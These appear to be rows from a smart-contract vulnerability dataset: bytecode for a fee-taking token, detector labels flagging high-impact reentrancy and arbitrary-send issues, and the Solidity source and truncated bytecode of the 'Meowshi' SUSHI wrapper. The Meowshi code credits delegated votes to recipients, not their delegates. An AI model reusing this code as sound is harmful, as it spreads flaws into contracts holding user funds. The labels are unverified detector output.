16141580156115f257506115c261090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5557600f60179054906101000a900460ff1615611825573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ce5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117285750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176e611286565b73ffffffffffffffffffffffffffffffffffffffff1614806117e45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117cc611286565b73ffffffffffffffffffffffffffffffffffffffff16145b611823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181a90613045565b60405180910390fd5b5b5b60105481111561183457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d85750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fa5750600f60179054906101000a900460ff165b15611a9b5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4a57600080fd5b607842611a57919061319b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa630610766565b9050600f60159054906101000a900460ff16158015611b135750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2b5750600f60169054906101000a900460ff165b15611b5357611b3981611de5565b60004790506000811115611b5157611b5047611c7c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0657600090505b611c12848484846121a4565b50505050565b6000838311158290611c60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c579190612ec3565b60405180910390fd5b5060008385611c6f919061327c565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ccc60028461215a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf7573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4860028461215a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d73573d6000803e3d6000fd5b5050565b6000600654821115611dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db590612f05565b60405180910390fd5b6000611dc86121d1565b9050611ddd818461215a90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e43577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e715781602001602082028036833780820191505090505b5090503081600081518110611eaf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5157600080fd5b505afa158015611f65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f899190612932565b81600181518110611fc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208e959493929190613080565b600060405180830381600087803b1580156120a857600080fd5b505af11580156120bc573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f25760009050612154565b600082846121009190613222565b905082848261210f91906131f1565b1461214f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214690612f85565b60405180910390fd5b809150505b92915050565b600061219c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fc565b905092915050565b806121b2576121b161225f565b5b6121bd848484612290565b806121cb576121ca61245b565b5b50505050565b60008060006121de61246d565b915091506121f5818361215a90919063ffffffff16565b9250505090565b60008083118290612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a9190612ec3565b60405180910390fd5b506000838561225291906131f1565b9050809150509392505050565b600060085414801561227357506000600954145b1561227d5761228e565b600060088190555060006009819055505b565b6000806000806000806122a2876124cf565b95509550955095509550955061230086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e1816125df565b6123eb848361269c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124489190613065565b60405180910390a3505050505050505050565b60026008819055506007600981905550565b600080600060065490506000683635c9adc5dea0000090506124a3683635c9adc5dea0000060065461215a90919063ffffffff16565b8210156124c257600654683635c9adc5dea000009350935050506124cb565b81819350935050505b9091565b60008060008060008060008060006124ec8a6008546009546126d6565b92509250925060006124fc6121d1565b9050600080600061250f8e87878761276c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c18565b905092915050565b6000808284612590919061319b565b9050838110156125d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cc90612f45565b60405180910390fd5b8091505092915050565b60006125e96121d1565b9050600061260082846120df90919063ffffffff16565b905061265481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126b18260065461253790919063ffffffff16565b6006819055506126cc8160075461258190919063ffffffff16565b6007819055505050565b60008060008061270260646126f4888a6120df90919063ffffffff16565b61215a90919063ffffffff16565b9050600061272c606461271e888b6120df90919063ffffffff16565b61215a90919063ffffffff16565b9050600061275582612747858c61253790919063ffffffff16565b61253790919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278585896120df90919063ffffffff16565b9050600061279c86896120df90919063ffffffff16565b905060006127b387896120df90919063ffffffff16565b905060006127dc826127ce858761253790919063ffffffff16565b61253790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128086128038461311a565b6130f5565b9050808382526020820190508285602086028201111561282757600080fd5b60005b85811015612857578161283d8882612861565b84526020840193506020830192505060018101905061282a565b5050509392505050565b60008135905061287081613758565b92915050565b60008151905061288581613758565b92915050565b600082601f83011261289c57600080fd5b81356128ac8482602086016127f5565b91505092915050565b6000813590506128c48161376f565b92915050565b6000815190506128d98161376f565b92915050565b6000813590506128ee81613786565b92915050565b60008151905061290381613786565b92915050565b60006020828403121561291b57600080fd5b600061292984828501612861565b91505092915050565b60006020828403121561294457600080fd5b600061295284828501612876565b91505092915050565b6000806040838503121561296e57600080fd5b600061297c85828601612861565b925050602061298d85828601612861565b9150509250929050565b6000806000606084860312156129ac57600080fd5b60006129ba86828701612861565b93505060206129cb86828701612861565b92505060406129dc868287016128df565b9150509250925092565b600080604083850312156129f957600080fd5b6000612a0785828601612861565b9250506020612a18858286016128df565b9150509250929050565b600060208284031215612a3457600080fd5b600082013567ffffffffffffffff811115612a4e57600080fd5b612a5a8482850161288b565b91505092915050565b600060208284031215612a7557600080fd5b6000612a83848285016128b5565b91505092915050565b600060208284031215612a9e57600080fd5b6000612aac848285016128ca565b91505092915050565b600060208284031215612ac757600080fd5b6000612ad5848285016128df565b91505092915050565b600080600060608486031215612af357600080fd5b6000612b01868287016128f4565b9350506020612b12868287016128f4565b9250506040612b23868287016128f4565b9150509250925092565b6000612b398383612b45565b60208301905092915050565b612b4e816132b0565b82525050565b612b5d816132b0565b82525050565b6000612b6e82613156565b612b788185613179565b9350612b8383613146565b8060005b83811015612bb4578151612b9b8882612b2d565b9750612ba68361316c565b925050600181019050612b87565b5085935050505092915050565b612bca816132c2565b82525050565b612bd981613305565b82525050565b6000612bea82613161565b612bf4818561318a565b9350612c04818560208601613317565b612c0d81613451565b840191505092915050565b6000612c2560238361318a565b9150612c3082613462565b604082019050919050565b6000612c48602a8361318a565b9150612c53826134b1565b604082019050919050565b6000612c6b60228361318a565b9150612c7682613500565b604082019050919050565b6000612c8e601b8361318a565b9150612c998261354f565b602082019050919050565b6000612cb1601d8361318a565b9150612cbc82613578565b602082019050919050565b6000612cd460218361318a565b9150612cdf826135a1565b604082019050919050565b6000612cf760208361318a565b9150612d02826135f0565b602082019050919050565b6000612d1a60298361318a565b9150612d2582613619565b604082019050919050565b6000612d3d60258361318a565b9150612d4882613668565b604082019050919050565b6000612d6060018361318a565b9150612d6b826136b7565b602082019050919050565b6000612d8360248361318a565b9150612d8e826136e0565b604082019050919050565b6000612da660118361318a565b9150612db18261372f565b602082019050919050565b612dc5816132ee565b82525050565b612dd4816132f8565b82525050565b6000602082019050612def6000830184612b54565b92915050565b6000604082019050612e0a6000830185612b54565b612e176020830184612b54565b9392505050565b6000604082019050612e336000830185612b54565b612e406020830184612dbc565b9392505050565b600060c082019050612e5c6000830189612b54565b612e696020830188612dbc565b612e766040830187612bd0565b612e836060830186612bd0565b612e906080830185612b54565b612e9d60a0830184612dbc565b979650505050505050565b6000602082019050612ebd6000830184612bc1565b92915050565b60006020820190508181036000830152612edd8184612bdf565b905092915050565b60006020820190508181036000830152612efe81612c18565b9050919050565b60006020820190508181036000830152612f1e81612c3b565b9050919050565b60006020820190508181036000830152612f3e81612c5e565b9050919050565b60006020820190508181036000830152612f5e81612c81565b9050919050565b60006020820190508181036000830152612f7e81612ca4565b9050919050565b60006020820190508181036000830152612f9e81612cc7565b9050919050565b60006020820190508181036000830152612fbe81612cea565b9050919050565b60006020820190508181036000830152612fde81612d0d565b9050919050565b60006020820190508181036000830152612ffe81612d30565b9050919050565b6000602082019050818103600083015261301e81612d53565b9050919050565b6000602082019050818103600083015261303e81612d76565b9050919050565b6000602082019050818103600083015261305e81612d99565b9050919050565b600060208201905061307a6000830184612dbc565b92915050565b600060a0820190506130956000830188612dbc565b6130a26020830187612bd0565b81810360408301526130b48186612b63565b90506130c36060830185612b54565b6130d06080830184612dbc565b9695505050505050565b60006020820190506130ef6000830184612dcb565b92915050565b60006130ff613110565b905061310b828261334a565b919050565b6000604051905090565b600067ffffffffffffffff82111561313557613134613422565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a6826132ee565b91506131b1836132ee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e6576131e56133c4565b5b828201905092915050565b60006131fc826132ee565b9150613207836132ee565b925082613217576132166133f3565b5b828204905092915050565b600061322d826132ee565b9150613238836132ee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613271576132706133c4565b5b828202905092915050565b6000613287826132ee565b9150613292836132ee565b9250828210156132a5576132a46133c4565b5b828203905092915050565b60006132bb826132ce565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613310826132ee565b9050919050565b60005b8381101561333557808201518184015260208101905061331a565b83811115613344576000848401525b50505050565b61335382613451565b810181811067ffffffffffffffff8211171561337257613371613422565b5b80604052505050565b6000613386826132ee565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b9576133b86133c4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f3100000000000000000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613761816132b0565b811461376c57600080fd5b50565b613778816132c2565b811461378357600080fd5b50565b61378f816132ee565b811461379a57600080fd5b5056fe4261627920537461726c696e6b207c20742e6d652f42616279537461726c696e6b45524345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122092121885151356a31fdb7da78f1504ca28ea319d5a926cba4a2b80cbb1ca12a564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,197 |
0x728103033ad5afc0a68adc02a6f20bc758359f9d
|
/**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
// SPDX-License-Identifier: UNLICENSED
// @title Meowshi (MEOW) 🐈 🍣 🍱
// @author Gatoshi Nyakamoto
pragma solidity 0.8.4;
/// @notice Interface for depositing into & withdrawing from BentoBox vault.
interface IERC20{} interface IBentoBoxBasic {
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into & withdrawing from SushiBar.
interface ISushiBar {
function balanceOf(address account) external view returns (uint256);
function enter(uint256 amount) external;
function leave(uint256 share) external;
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields.
// ៱˳_˳៱ ∫
contract Meowshi {
IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet)
ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet)
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet)
string public constant name = "Meowshi";
string public constant symbol = "MEOW";
uint8 public constant decimals = 18;
uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW
uint256 public totalSupply;
/// @notice owner -> spender -> allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner -> balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner -> nonce mapping used in {permit}.
mapping(address => uint256) public nonces;
/// @notice A record of each account's delegate.
mapping(address => address) public delegates;
/// @notice A record of votes checkpoints for each account, by index.
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account.
mapping(address => uint32) public numCheckpoints;
/// @notice The ERC-712 typehash for this contract's domain.
bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The ERC-712 typehash for the delegation struct used by the contract.
bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The ERC-712 typehash for the permit struct used by the contract.
bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice Events that are emitted when an ERC-20 approval or transfer occurs.
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice An event that's emitted when an account changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes.
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice A checkpoint for marking number of votes from a given block.
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
constructor() {
sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract
ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract
}
/*************
MEOW FUNCTIONS
*************/
// **** xSUSHI
/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.
function meow(address to, uint256 amount) external returns (uint256 shares) {
ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim
(, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`.
function unmeow(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);
}
// **** SUSHI
/// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`.
function meowSushi(address to, uint256 amount) external returns (uint256 shares) {
sushiToken.transferFrom(msg.sender, address(this), amount);
ISushiBar(sushiBar).enter(amount);
(, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`.
function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);
ISushiBar(sushiBar).leave(amountOut);
sushiToken.transfer(to, sushiToken.balanceOf(address(this)));
}
// **** SUPPLY MGMT
/// @notice Internal mint function for *meow*.
function meowMint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
_moveDelegates(address(0), delegates[to], amount);
emit Transfer(address(0), to, amount);
}
/// @notice Internal burn function for *unmeow*.
function meowBurn(uint256 amount) private {
balanceOf[msg.sender] -= amount;
totalSupply -= amount;
_moveDelegates(delegates[msg.sender], address(0), amount);
emit Transfer(msg.sender, address(0), amount);
}
/**************
TOKEN FUNCTIONS
**************/
/// @notice Approves `amount` from msg.sender to be spent by `spender`.
/// @param spender Address of the party that can draw tokens from msg.sender's account.
/// @param amount The maximum collective `amount` that `spender` can draw.
/// @return (bool) Returns 'true' if succeeded.
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Triggers an approval from owner to spends.
/// @param owner The address to approve from.
/// @param spender The address to be approved.
/// @param amount The number of tokens that are approved (2^256-1 means infinite).
/// @param deadline The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::permit: invalid signature');
require(signatory == owner, 'Meowshi::permit: unauthorized');
require(block.timestamp <= deadline, 'Meowshi::permit: signature expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
_moveDelegates(delegates[msg.sender], to, amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`.
/// @param from Address to draw tokens `from`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
if (from != msg.sender || allowance[from][msg.sender] != type(uint256).max) allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
_moveDelegates(delegates[from], to, amount);
emit Transfer(from, to, amount);
return true;
}
/*******************
DELEGATION FUNCTIONS
*******************/
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to.
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/// @notice Delegates votes from signatory to `delegatee`.
/// @param delegatee The address to delegate votes to.
/// @param nonce The contract state required to match the signature.
/// @param expiry The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature');
require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');
require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
/***************
GETTER FUNCTIONS
***************/
/// @notice Get current chain.
function getChainId() private view returns (uint256) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
/// @notice Gets the current votes balance for `account`.
/// @param account The address to get votes balance.
/// @return The number of current votes for `account`.
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/// @notice Determine the prior number of votes for an `account` as of a block number.
/// @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
/// @param account The address of the `account` to check.
/// @param blockNumber The block number to get the vote balance at.
/// @return The number of votes the `account` had as of the given block.
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// @dev First check most recent balance.
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// @dev Next check implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/***************
HELPER FUNCTIONS
***************/
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
uint256 delegatorBalance = balanceOf[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) private {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) private {
uint32 blockNumber = safe32(block.number);
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/// @notice Enables calling multiple methods in a single call to this contract.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly { result := add(result, 0x04) }
revert(abi.decode(result, (string)));
}
results[i] = result;
}
}
function safe32(uint256 n) private pure returns (uint32) {
require(n < 2**32, 'Meowshi::_writeCheckpoint: block number exceeds 32 bits');
return uint32(n);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b4b5ea571161007c578063b4b5ea5714610368578063c3cda5201461037b578063d505accf1461038e578063dd62ed3e146103a1578063e6ff41eb146103cc578063f1127ed8146103df57600080fd5b806370a08231146102bf578063782d6fe1146102df5780637ecebe00146102f257806395d89b4114610312578063a9059cbb14610335578063ac9650d81461034857600080fd5b8063313ce56711610115578063313ce567146101ee5780633c0adb6814610208578063587cde1e1461021b5780635c19a95c1461025c578063642ed500146102715780636fcfff451461028457600080fd5b806306fdde0314610152578063095ea7b31461018e57806318160ddd146101b15780631b04a34f146101c857806323b872dd146101db575b600080fd5b610178604051806040016040528060078152602001664d656f7773686960c81b81525081565b6040516101859190612095565b60405180910390f35b6101a161019c366004611d92565b610436565b6040519015158152602001610185565b6101ba60005481565b604051908152602001610185565b6101ba6101d6366004611d92565b6104a3565b6101a16101e9366004611cee565b610567565b6101f6601281565b60405160ff9091168152602001610185565b6101ba610216366004611d92565b6106a9565b610244610229366004611ca2565b6004602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610185565b61026f61026a366004611ca2565b6108d4565b005b6101ba61027f366004611d92565b6108e1565b6102aa610292366004611ca2565b60066020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610185565b6101ba6102cd366004611ca2565b60026020526000908152604090205481565b6101ba6102ed366004611d92565b610b17565b6101ba610300366004611ca2565b60036020526000908152604090205481565b610178604051806040016040528060048152602001634d454f5760e01b81525081565b6101a1610343366004611d92565b610d84565b61035b610356366004611e50565b610e26565b6040516101859190612000565b6101ba610376366004611ca2565b610fa1565b61026f610389366004611dbb565b611016565b61026f